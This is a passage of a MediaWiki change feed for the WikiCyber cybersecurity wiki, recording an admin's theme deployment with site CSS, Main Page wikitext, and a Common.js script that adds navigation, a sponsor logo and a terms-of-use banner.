.skin-vector-2022 .enterprise-feature-inner{max-width:1320px;margin:auto;padding:64px 20px;display:grid;grid-template-columns:1fr 1fr;gap:90px;align-items:center}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature h2{font-size:39px;font-weight:400;letter-spacing:-1.2px;margin-bottom:20px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature p{font-size:16px;line-height:1.8;color:var(--muted);max-width:510px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .text-link{display:inline-block;margin-top:12px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .terminal{border-radius:7px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .terminal pre{font-size:14px;padding:28px;line-height:2.1}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .terminal&amp;gt;div{padding:15px 20px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .terminal&amp;gt;div span{font-size:11px}&lt;br /&gt;
.skin-vector-2022 .contribution-section{max-width:1320px;margin:auto;padding:65px 20px;display:grid;grid-template-columns:1fr 1fr;gap:90px}&lt;br /&gt;
.skin-vector-2022 .contribution-section h2{font-size:34px;font-weight:400;letter-spacing:-1px;max-width:450px;margin:0}&lt;br /&gt;
.skin-vector-2022 .contribution-section p{font-size:15px;line-height:1.8;color:var(--muted);margin-bottom:20px}&lt;br /&gt;
.skin-vector-2022 .home-section #search-status:empty{display:none}&lt;br /&gt;
.skin-vector-2022 .corporate-rule{height:4px;background:linear-gradient(90deg,#2855b2 25%,#41b343 90%)}&lt;br /&gt;
@media(max-width:1150px){.skin-vector-2022 .header{padding:0 25px;gap:22px}&lt;br /&gt;
.skin-vector-2022 .corporate-nav{gap:17px}&lt;br /&gt;
.skin-vector-2022 .brand{min-width:220px}&lt;br /&gt;
.skin-vector-2022 .brand&amp;gt;span{font-size:25px}&lt;br /&gt;
.skin-vector-2022 .brand small{font-size:9px}&lt;br /&gt;
.skin-vector-2022 .search{max-width:240px}&lt;br /&gt;
.skin-vector-2022 .layout{grid-template-columns:160px minmax(0,1fr);gap:24px;padding:0 25px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero-inner{gap:35px;padding:60px 30px;min-height:510px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero h1{font-size:53px}&lt;br /&gt;
.skin-vector-2022 .hero-art{padding:22px}&lt;br /&gt;
.skin-vector-2022 .home-section,.skin-vector-2022 .enterprise-feature-inner,.skin-vector-2022 .contribution-section{padding-left:30px;padding-right:30px}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-grid{grid-template-columns:repeat(2,minmax(0,1fr))}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card{min-height:270px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner{padding:22px 30px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature-inner,.skin-vector-2022 .contribution-section{gap:45px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner&amp;gt;div{gap:25px}&lt;br /&gt;
}&lt;br /&gt;
@media(max-width:850px){.skin-vector-2022 .corporate-nav{display:none}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero-inner{grid-template-columns:1fr;gap:42px;padding:52px 25px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero h1{font-size:54px;max-width:650px}&lt;br /&gt;
.skin-vector-2022 .hero-art{max-width:590px;width:100%;min-height:300px;justify-self:center}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .hero-intro{max-width:620px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner{align-items:start;flex-direction:column;gap:15px}&lt;br /&gt;
.skin-vector-2022 .home-section .section-heading{flex-direction:column;align-items:start;gap:20px}&lt;br /&gt;
.skin-vector-2022 .section-description{max-width:580px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature-inner{grid-template-columns:1fr;gap:28px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .terminal{max-width:650px}&lt;br /&gt;
.skin-vector-2022 .contribution-section{grid-template-columns:1fr;gap:22px}&lt;br /&gt;
.skin-vector-2022 .contribution-section h2{max-width:none}&lt;br /&gt;
body.skin-vector-2022.page-Main_Page .appearance{gap:23px}&lt;br /&gt;
}&lt;br /&gt;
@media(max-width:760px){.skin-vector-2022 .header{padding:17px 20px;height:auto;gap:14px}&lt;br /&gt;
.skin-vector-2022 .brand{min-width:0}&lt;br /&gt;
.skin-vector-2022 .search{max-width:none;background:var(--bg);margin-left:0}&lt;br /&gt;
.skin-vector-2022 .layout{display:block;padding:0 20px}&lt;br /&gt;
body.skin-vector-2022.page-Main_Page .sidebar.open{display:block;padding:20px 25px}&lt;br /&gt;
body.skin-vector-2022.page-Main_Page .page-toolbar{padding:0 20px;height:55px;overflow-x:auto}&lt;br /&gt;
.skin-vector-2022 .page-toolbar&amp;gt;div{gap:20px;white-space:nowrap}&lt;br /&gt;
.skin-vector-2022 .page-toolbar a{font-size:11px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero h1{font-size:46px;letter-spacing:-1.8px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .hero-intro{font-size:17px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .hero-actions{gap:22px}&lt;br /&gt;
.skin-vector-2022 .home-section{padding:50px 25px}&lt;br /&gt;
.skin-vector-2022 .home-section h2{font-size:32px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature-inner,.skin-vector-2022 .contribution-section{padding:45px 25px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature h2{font-size:32px}&lt;br /&gt;
.skin-vector-2022 .contribution-section h2{font-size:29px}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card{padding:25px;min-height:290px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner{padding:22px 25px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner&amp;gt;div{gap:12px 22px}&lt;br /&gt;
.skin-vector-2022 .hero-art{padding:24px}&lt;br /&gt;
.skin-vector-2022 .article-heading h1{font-size:34px}&lt;br /&gt;
}&lt;br /&gt;
@media(max-width:480px){.skin-vector-2022 .home-section .topic-grid{grid-template-columns:1fr}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card{min-height:245px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero h1{font-size:40px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .hero-actions{align-items:start;flex-direction:column}&lt;br /&gt;
.skin-vector-2022 .hero-art{padding:20px 15px;min-height:300px}&lt;br /&gt;
.skin-vector-2022 .art-node{padding:15px 3px;font-size:10px}&lt;br /&gt;
.skin-vector-2022 .art-core{padding:18px}&lt;br /&gt;
.skin-vector-2022 .art-core strong{font-size:22px}&lt;br /&gt;
.skin-vector-2022 .art-footer{font-size:9px}&lt;br /&gt;
.skin-vector-2022 .art-branches{gap:8px}&lt;br /&gt;
.skin-vector-2022 .brand&amp;gt;span{font-size:25px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip strong{font-size:13px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .terminal pre{font-size:12px;padding:22px}&lt;br /&gt;
}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero-inner&amp;gt;div,.skin-vector-2022 .enterprise-feature-inner&amp;gt;div,.skin-vector-2022 .contribution-section&amp;gt;div{min-width:0}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero{background-color:#101f34;background-image:linear-gradient(90deg,rgba(10,22,36,.91) 0%,rgba(10,22,36,.78) 42%,rgba(10,22,36,.42) 100%),url(&#039;/images/branding/theme-v1/hero.jpg&#039;);background-size:cover;background-position:center 48%}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero:after{background:none}&lt;br /&gt;
.skin-vector-2022 .hero-art{background-color:rgba(16,31,52,.72)}&lt;br /&gt;
@media(max-width:850px){.skin-vector-2022 .enterprise-hero{background-position:55% center;background-image:linear-gradient(180deg,rgba(10,22,36,.87),rgba(10,22,36,.67)),url(&#039;/images/branding/theme-v1/hero.jpg&#039;)}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* END WikiCyber corporate v1 */&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Common.css&amp;diff=288</id>
		<title>MediaWiki:Common.css</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Common.css&amp;diff=288"/>
		<updated>2026-10-16T20:14:56Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Deploy approved WikiCyber corporate theme&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
/* BEGIN WikiCyber homepage v1 */&lt;br /&gt;
/* WikiCyber homepage v1. All rules are scoped to Main Page; no global theme changes. */&lt;br /&gt;
body.page-Main_Page .wc-home {&lt;br /&gt;
  --wc-surface: var(--background-color-base, #fff);&lt;br /&gt;
  --wc-text: var(--color-base, #202c3b);&lt;br /&gt;
  --wc-muted: var(--color-subtle, #647184);&lt;br /&gt;
  --wc-line: var(--border-color-subtle, #dfe5ed);&lt;br /&gt;
  --wc-blue: #2855b2;&lt;br /&gt;
  --wc-green: #24783a;&lt;br /&gt;
  --wc-tint: #eef3fc;&lt;br /&gt;
  --wc-green-tint: #edf7ef;&lt;br /&gt;
  color: var(--wc-text);&lt;br /&gt;
  font-family: Arial, Helvetica, sans-serif;&lt;br /&gt;
  line-height: 1.8;&lt;br /&gt;
}&lt;br /&gt;
body.page-Main_Page .wc-home h1,&lt;br /&gt;
body.page-Main_Page .wc-home h2,&lt;br /&gt;
body.page-Main_Page .wc-home h3 { font-family: inherit; color: var(--wc-text); border: 0; padding: 0; line-height: 1.25; letter-spacing: -.025em; overflow: visible; }&lt;br /&gt;
body.page-Main_Page .wc-home .mw-heading { border: 0; margin: 0; }&lt;br /&gt;
body.page-Main_Page .wc-home .mw-editsection { display: none; }&lt;br /&gt;
body.page-Main_Page .wc-home a { color: var(--wc-blue); }&lt;br /&gt;
body.page-Main_Page .wc-home a:focus-visible { outline: 3px solid var(--wc-blue); outline-offset: 4px; }&lt;br /&gt;
body.page-Main_Page .wc-hero { border: 1px solid var(--wc-line); border-radius: 10px; padding: 40px 36px 0; background: radial-gradient(ellipse at 100% 0%, var(--wc-green-tint), transparent 65%), var(--wc-surface); }&lt;br /&gt;
body.page-Main_Page .wc-hero h1 { font-size: clamp(32px, 4vw, 49px); margin: 0 0 22px; font-weight: 750; letter-spacing: -1.5px; }&lt;br /&gt;
body.page-Main_Page .wc-hero h1 span { color: var(--wc-blue); }&lt;br /&gt;
body.page-Main_Page .wc-intro { max-width: 570px; color: var(--wc-muted); font-size: 15px; }&lt;br /&gt;
body.page-Main_Page .wc-actions { display: flex; align-items: center; gap: 22px; flex-wrap: wrap; margin: 26px 0 32px; font-size: 12px; font-weight: bold; }&lt;br /&gt;
body.page-Main_Page .wc-actions p { display: contents; }&lt;br /&gt;
body.page-Main_Page .wc-primary { display: inline-block; background: #2855b2; color: #fff; padding: 11px 17px; border-radius: 5px; }&lt;br /&gt;
body.page-Main_Page .wc-actions a:hover .wc-primary { background: #214a9d; }&lt;br /&gt;
body.page-Main_Page .wc-values { border-top: 1px solid var(--wc-line); padding: 15px 0; display: flex; gap: 24px; flex-wrap: wrap; font-size: 11px; color: var(--wc-muted); }&lt;br /&gt;
body.page-Main_Page .wc-values p { display: contents; }&lt;br /&gt;
body.page-Main_Page .wc-topics { padding-top: 32px; scroll-margin-top: 25px; }&lt;br /&gt;
body.page-Main_Page .wc-home .wc-eyebrow { color: var(--wc-muted); font-size: 10px; font-weight: bold; letter-spacing: 1.7px; margin: 0 0 9px; }&lt;br /&gt;
body.page-Main_Page .wc-home h2 { margin: 0 0 20px; font-size: 26px; }&lt;br /&gt;
body.page-Main_Page .wc-grid { display: grid; grid-template-columns: repeat(2, minmax(0, 1fr)); gap: 15px; }&lt;br /&gt;
body.page-Main_Page .wc-card { display: flex; flex-direction: column; padding: 24px; border: 1px solid var(--wc-line); border-radius: 8px; background: var(--wc-surface); transition: border-color .15s; }&lt;br /&gt;
body.page-Main_Page .wc-card:hover { border-color: var(--wc-blue); }&lt;br /&gt;
body.page-Main_Page .wc-card h3 { margin: 17px 0 10px; font-size: 20px; }&lt;br /&gt;
body.page-Main_Page .wc-card h3 a { color: var(--wc-text); }&lt;br /&gt;
body.page-Main_Page .wc-card p { color: var(--wc-muted); font-size: 13px; margin: 0 0 15px; }&lt;br /&gt;
body.page-Main_Page .wc-icon { display: inline-grid; place-items: center; width: 37px; height: 37px; border-radius: 8px; font: bold 22px monospace; }&lt;br /&gt;
body.page-Main_Page .wc-blue { color: var(--wc-blue); background: var(--wc-tint); }&lt;br /&gt;
body.page-Main_Page .wc-green { color: var(--wc-green); background: var(--wc-green-tint); }&lt;br /&gt;
body.page-Main_Page .wc-card-link { margin-top: auto; padding-top: 8px; font-size: 12px; font-weight: bold; }&lt;br /&gt;
body.page-Main_Page .wc-feature { display: grid; grid-template-columns: 1fr 1fr; gap: 28px; align-items: center; margin: 32px 0; padding: 28px 0; border-top: 1px solid var(--wc-line); border-bottom: 1px solid var(--wc-line); }&lt;br /&gt;
body.page-Main_Page .wc-feature h2 { font-size: 24px; margin-bottom: 12px; }&lt;br /&gt;
body.page-Main_Page .wc-feature p:not(.wc-eyebrow) { font-size: 13px; color: var(--wc-muted); }&lt;br /&gt;
body.page-Main_Page .wc-feature a,&lt;br /&gt;
body.page-Main_Page .wc-contribute a { font-size: 12px; font-weight: bold; }&lt;br /&gt;
body.page-Main_Page .wc-terminal { min-width: 0; background: #142335; color: #e4eef7; border-radius: 8px; overflow: hidden; }&lt;br /&gt;
body.page-Main_Page .wc-terminal-label { padding: 10px 18px; color: #b2c1cf; border-bottom: 1px solid #ffffff26; font-size: 10px; }&lt;br /&gt;
body.page-Main_Page .wc-terminal pre { background: transparent; color: inherit; border: 0; padding: 20px 18px; margin: 0; font: 11px/2 monospace; overflow-x: auto; }&lt;br /&gt;
body.page-Main_Page .wc-contribute h2 { font-size: 21px; margin-bottom: 10px; }&lt;br /&gt;
body.page-Main_Page .wc-contribute p { color: var(--wc-muted); font-size: 13px; }&lt;br /&gt;
html.skin-theme-clientpref-night body.page-Main_Page .wc-home { --wc-blue: #91b5ff; --wc-green: #8ed29d; --wc-tint: #20324d; --wc-green-tint: #203b2a; }&lt;br /&gt;
@media (prefers-color-scheme: dark) {&lt;br /&gt;
  html.skin-theme-clientpref-os body.page-Main_Page .wc-home { --wc-blue: #91b5ff; --wc-green: #8ed29d; --wc-tint: #20324d; --wc-green-tint: #203b2a; }&lt;br /&gt;
}&lt;br /&gt;
@media (min-width: 1500px) { body.page-Main_Page .wc-grid { grid-template-columns: repeat(4, minmax(0, 1fr)); } }&lt;br /&gt;
@media (max-width: 700px) {&lt;br /&gt;
  body.page-Main_Page .wc-hero { padding: 28px 22px 0; }&lt;br /&gt;
  body.page-Main_Page .wc-hero h1 { font-size: 34px; }&lt;br /&gt;
  body.page-Main_Page .wc-feature { grid-template-columns: 1fr; gap: 18px; }&lt;br /&gt;
  body.page-Main_Page .wc-values { gap: 12px; font-size: 10px; }&lt;br /&gt;
  body.page-Main_Page .wc-card { padding: 21px; }&lt;br /&gt;
}&lt;br /&gt;
@media (max-width: 480px) { body.page-Main_Page .wc-grid { grid-template-columns: 1fr; } }&lt;br /&gt;
@media (prefers-reduced-motion: reduce) { body.page-Main_Page .wc-card { transition: none; } }&lt;br /&gt;
&lt;br /&gt;
/* END WikiCyber homepage v1 */&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Main_Page&amp;diff=287</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Main_Page&amp;diff=287"/>
		<updated>2026-10-16T20:14:55Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Deploy approved WikiCyber corporate theme&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-home&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-hero&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;Understand systems.&amp;lt;br /&amp;gt;&amp;lt;span&amp;gt;Build your defenses.&amp;lt;/span&amp;gt;&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p class=&amp;quot;wc-intro&amp;quot;&amp;gt;A clear, practical reference for learning cybersecurity. Explore operating systems, secure networks, and the evidence that tells their stories.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-actions&amp;quot;&amp;gt;[[#wc-topics|&amp;lt;span class=&amp;quot;wc-primary&amp;quot;&amp;gt;Explore the knowledge base →&amp;lt;/span&amp;gt;]] [[Special:AllPages|Browse articles ↗]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-values&amp;quot;&amp;gt;&amp;lt;span&amp;gt;✓ Open knowledge&amp;lt;/span&amp;gt;&amp;lt;span&amp;gt;✓ Practical guidance&amp;lt;/span&amp;gt;&amp;lt;span&amp;gt;✓ Community contributions&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-topics&amp;quot; id=&amp;quot;wc-topics&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;p class=&amp;quot;wc-eyebrow&amp;quot;&amp;gt;FIND YOUR STARTING POINT&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;h2&amp;gt;Explore by topic&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-grid&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-card&amp;quot;&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Windows|Windows]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Accounts, policies, PowerShell, and the foundations of a secure Windows system.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;wc-card-link&amp;quot;&amp;gt;[[:Category:Windows|Explore Windows →]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-card&amp;quot;&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Linux|Linux]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Understand permissions, audit services, and get comfortable at the command line.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;wc-card-link&amp;quot;&amp;gt;[[:Category:Linux|Explore Linux →]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-card&amp;quot;&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Cisco|Cisco &amp;amp;amp; networking]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Connect the concepts behind networks, from the OSI model to device security.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;wc-card-link&amp;quot;&amp;gt;[[:Category:Cisco|Explore networking →]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-card&amp;quot;&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Windows Forensics|Digital forensics]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Follow the evidence through event logs, system artifacts, and careful analysis.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;wc-card-link&amp;quot;&amp;gt;[[:Category:Windows Forensics|Explore forensics →]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-feature&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;p class=&amp;quot;wc-eyebrow&amp;quot;&amp;gt;A CLOSER LOOK&amp;lt;/p&amp;gt;&amp;lt;h2&amp;gt;Start with the evidence.&amp;lt;/h2&amp;gt;&amp;lt;p&amp;gt;Explore forensic concepts and learn how system artifacts can help explain what happened.&amp;lt;/p&amp;gt;[[:Category:Windows Forensics|Explore the forensics collection →]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-terminal&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;wc-terminal-label&amp;quot;&amp;gt;linux&amp;lt;/div&amp;gt;&amp;lt;pre&amp;gt;# Establish a starting point&lt;br /&gt;
$ journalctl --since today&lt;br /&gt;
$ last -a&lt;br /&gt;
$ ss -tulpn&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-contribute&amp;quot;&amp;gt;&amp;lt;h2&amp;gt;Good knowledge grows together.&amp;lt;/h2&amp;gt;&amp;lt;p&amp;gt;WikiCyber articles are written by invited contributors and published through a review workflow.&amp;lt;/p&amp;gt;[[Help:Your first article|Writing your first article →]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Common.js&amp;diff=286</id>
		<title>MediaWiki:Common.js</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Common.js&amp;diff=286"/>
		<updated>2026-10-16T20:14:55Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Deploy approved WikiCyber corporate theme&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;/* Any JavaScript here will be loaded for all users on every page load. */&lt;br /&gt;
&lt;br /&gt;
/* The personal-menu &amp;quot;Sandbox&amp;quot; link (with icon) is now added server-side by the SandboxAccess extension.&lt;br /&gt;
   The previous JavaScript version (Special:MyPage/sandbox via mw.util.addPortletLink) was removed to avoid a duplicate link;&lt;br /&gt;
   restore it from this page&#039;s history if the extension is ever disabled. */&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Common.js&amp;diff=285</id>
		<title>MediaWiki:Common.js</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Common.js&amp;diff=285"/>
		<updated>2026-10-16T20:14:52Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Deploy approved WikiCyber corporate theme&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;/* Any JavaScript here will be loaded for all users on every page load. */&lt;br /&gt;
&lt;br /&gt;
/* The personal-menu &amp;quot;Sandbox&amp;quot; link (with icon) is now added server-side by the SandboxAccess extension.&lt;br /&gt;
   The previous JavaScript version (Special:MyPage/sandbox via mw.util.addPortletLink) was removed to avoid a duplicate link;&lt;br /&gt;
   restore it from this page&#039;s history if the extension is ever disabled. */&lt;br /&gt;
&lt;br /&gt;
/* BEGIN WikiCyber corporate v1 */&lt;br /&gt;
/* WikiCyber theme enhancements. Native MediaWiki editors/permissions stay intact. */&lt;br /&gt;
mw.loader.using(&#039;mediawiki.util&#039;).then(function () {&lt;br /&gt;
  $(function () {&lt;br /&gt;
    if (!document.body.classList.contains(&#039;skin-vector-2022&#039;)) return;&lt;br /&gt;
    var base = mw.util.getUrl(&#039;Main Page&#039;);&lt;br /&gt;
    var terms = mw.util.getUrl(&#039;WikiCyber:Terms of Use&#039;);&lt;br /&gt;
    var logo = document.querySelector(&#039;.mw-logo-container&#039;);&lt;br /&gt;
    if (logo &amp;amp;&amp;amp; !logo.querySelector(&#039;.wc-slogan&#039;)) {&lt;br /&gt;
      var slogan = document.createElement(&#039;span&#039;); slogan.className = &#039;wc-slogan&#039;;&lt;br /&gt;
      slogan.textContent = &#039;Knowledge for a safer digital world&#039;; logo.append(slogan);&lt;br /&gt;
    }&lt;br /&gt;
    function link(label, href) { var a = document.createElement(&#039;a&#039;); a.textContent = label; a.href = href; return a; }&lt;br /&gt;
    var header = document.querySelector(&#039;.vector-header-start&#039;);&lt;br /&gt;
    if (header) {&lt;br /&gt;
      var nav = document.createElement(&#039;nav&#039;); nav.className = &#039;wc-header-nav&#039;; nav.setAttribute(&#039;aria-label&#039;, &#039;Primary&#039;);&lt;br /&gt;
      nav.append(link(&#039;Knowledge base&#039;, base + &#039;#topics&#039;), link(&#039;Resources&#039;, mw.util.getUrl(&#039;Special:AllPages&#039;)), link(&#039;Contribute&#039;, mw.util.getUrl(&#039;Help:Your first article&#039;)));&lt;br /&gt;
      header.after(nav);&lt;br /&gt;
    }&lt;br /&gt;
    var icons = document.querySelector(&#039;#footer-icons&#039;);&lt;br /&gt;
    if (icons) {&lt;br /&gt;
      var li = document.createElement(&#039;li&#039;);&lt;br /&gt;
      var sre = link(&#039;&#039;, &#039;https://kirillshore.com&#039;); sre.className = &#039;wc-sre-logo&#039;;&lt;br /&gt;
      var image = document.createElement(&#039;img&#039;); image.src = &#039;/images/branding/theme-v1/shore-roger-logo.svg&#039;; image.alt = &#039;Shore-Roger Enterprises&#039;; image.width = 124; image.height = 48;&lt;br /&gt;
      sre.append(image); li.append(sre); icons.append(li);&lt;br /&gt;
    }&lt;br /&gt;
    // This acknowledgement is browser-local; it does not gate access or create a legal audit record.&lt;br /&gt;
    var key = &#039;wikicyber-terms-revision-253&#039;, bar = document.createElement(&#039;section&#039;);&lt;br /&gt;
    bar.className = &#039;wc-terms-bar&#039;; bar.setAttribute(&#039;aria-labelledby&#039;, &#039;wc-terms-heading&#039;);&lt;br /&gt;
    var copy = document.createElement(&#039;div&#039;), heading = document.createElement(&#039;h2&#039;), description = document.createElement(&#039;p&#039;);&lt;br /&gt;
    heading.id = &#039;wc-terms-heading&#039;; heading.textContent = &#039;Terms of Use &amp;amp; cookies&#039;;&lt;br /&gt;
    description.append(&#039;By selecting “Accept and continue,” you agree to the &#039;, link(&#039;Terms of Use&#039;, terms), &#039;. Essential cookies only.&#039;);&lt;br /&gt;
    copy.append(heading, description);&lt;br /&gt;
    var actions = document.createElement(&#039;div&#039;); actions.className = &#039;wc-terms-actions&#039;;&lt;br /&gt;
    var accept = document.createElement(&#039;button&#039;); accept.type = &#039;button&#039;; accept.textContent = &#039;Accept and continue&#039;;&lt;br /&gt;
    actions.append(link(&#039;Read the terms&#039;, terms), accept); bar.append(copy, actions); document.body.append(bar);&lt;br /&gt;
    var reset = document.createElement(&#039;button&#039;); reset.type = &#039;button&#039;; reset.className = &#039;wc-terms-reset&#039;; reset.textContent = &#039;Terms &amp;amp; cookies&#039;;&lt;br /&gt;
    var footer = document.querySelector(&#039;#footer&#039;); if (footer) footer.append(reset);&lt;br /&gt;
    var originalPadding = document.body.style.paddingBottom;&lt;br /&gt;
    function spacing() { document.body.style.paddingBottom = bar.hidden ? originalPadding : bar.offsetHeight + 16 + &#039;px&#039;; }&lt;br /&gt;
    function display(show) { bar.hidden = !show; spacing(); }&lt;br /&gt;
    var accepted = false; try { accepted = localStorage.getItem(key) === &#039;accepted&#039;; } catch (e) { /* Storage optional. */ }&lt;br /&gt;
    display(!accepted);&lt;br /&gt;
    new ResizeObserver(spacing).observe(bar);&lt;br /&gt;
    accept.addEventListener(&#039;click&#039;, function () { try { localStorage.setItem(key, &#039;accepted&#039;); } catch (e) { /* Dismiss for this page. */ } display(false); reset.focus({ preventScroll: true }); });&lt;br /&gt;
    reset.addEventListener(&#039;click&#039;, function () { try { localStorage.removeItem(key); } catch (e) { /* Storage optional. */ } display(true); accept.focus({ preventScroll: true }); });&lt;br /&gt;
  });&lt;br /&gt;
});&lt;br /&gt;
&lt;br /&gt;
/* END WikiCyber corporate v1 */&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Main_Page&amp;diff=284</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Main_Page&amp;diff=284"/>
		<updated>2026-10-16T20:14:52Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Deploy approved WikiCyber corporate theme&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-corporate&amp;quot; aria-label=&amp;quot;Main page&amp;quot;&amp;gt;&lt;br /&gt;
      &amp;lt;div class=&amp;quot;enterprise-hero&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;enterprise-hero-inner&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;lt;div&amp;gt;&amp;lt;h1&amp;gt;Understand systems.&amp;lt;br&amp;gt;&amp;lt;span&amp;gt;Build your defenses.&amp;lt;/span&amp;gt;&amp;lt;/h1&amp;gt;&amp;lt;p class=&amp;quot;hero-intro&amp;quot;&amp;gt;A clear, practical reference for learning cybersecurity. Explore practical guidance on operating systems, network security, and digital forensics.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;hero-actions&amp;quot;&amp;gt;[[#topics|&amp;lt;span class=&amp;quot;button primary&amp;quot;&amp;gt;Explore the knowledge base &amp;lt;span aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;#8594;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;]][[Special:AllPages|&amp;lt;span class=&amp;quot;text-link&amp;quot;&amp;gt;Read an article &amp;amp;#8599;&amp;lt;/span&amp;gt;]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
